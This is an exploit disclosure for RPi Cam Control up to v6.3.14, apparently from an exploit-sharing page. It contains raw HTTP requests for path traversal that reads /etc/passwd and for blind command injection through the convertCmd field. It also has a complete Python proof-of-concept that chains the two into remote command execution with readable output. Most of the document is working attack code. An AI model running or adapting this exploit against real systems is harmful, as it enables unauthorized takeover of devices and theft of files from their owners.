扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 |
##### # RPi Cam Control <= v6.3.14 (RCE) preview.php Multiple Vulnerabilities # # A web interface for the RPi Cam # Vendor github: https://github.com/silvanmelchior/RPi_Cam_Web_Interface # # Date 16/08/2017 # Discovered by @nopernik (https://www.linkedin.com/in/nopernik) # # http://www.korznikov.com # # RPi Cam Control <= v6.3.14 is vulnerable to Local File Read and Blind Command Injection. # # # Local File Read (get /etc/passwd file): # ---------------- # POST /preview.php HTTP/1.1 # Host: 127.0.0.1 # Content-Type: application/x-www-form-urlencoded # Connection: close # Content-Length: 80 # # download1=../../../../../../../../../../../../../../../../etc/passwd.v0000.t # # # Blind Command Injection: # ------------------ # POST /preview.php HTTP/1.1 # Host: 127.0.0.1 # Content-Type: application/x-www-form-urlencoded # Connection: close # Content-Length: 52 # # convert=none&convertCmd=$(COMMAND_TO_EXECUTE) # # # Blind Command Injection can be used with Local File Read to properly get the output of injected command. # # Proof of concept: ##### #!/usr/bin/python import requests import sys if not len(sys.argv[2:]): print "Usage: RPi-Cam-Control-RCE.py 127.0.0.1 'cat /etc/passwd'" exit(1) def GET(target, rfile): res = requests.post("http://%s/preview.php" % target, headers={"Content-Type": "application/x-www-form-urlencoded", "Connection": "close"}, data={"download1": "../../../../../../../../../../../../../../../../{}.v0000.t".format(rfile)}) return res.content def RCE(target, command): requests.post("http://%s/preview.php" % target, headers={"Content-Type": "application/x-www-form-urlencoded", "Connection": "close"}, data={"convert": "none", "convertCmd": "$(%s > /tmp/output.txt)" % command}) return GET(target,'/tmp/output.txt') target = sys.argv[1] command = sys.argv[2] print RCE(target,command) |
体验盒子
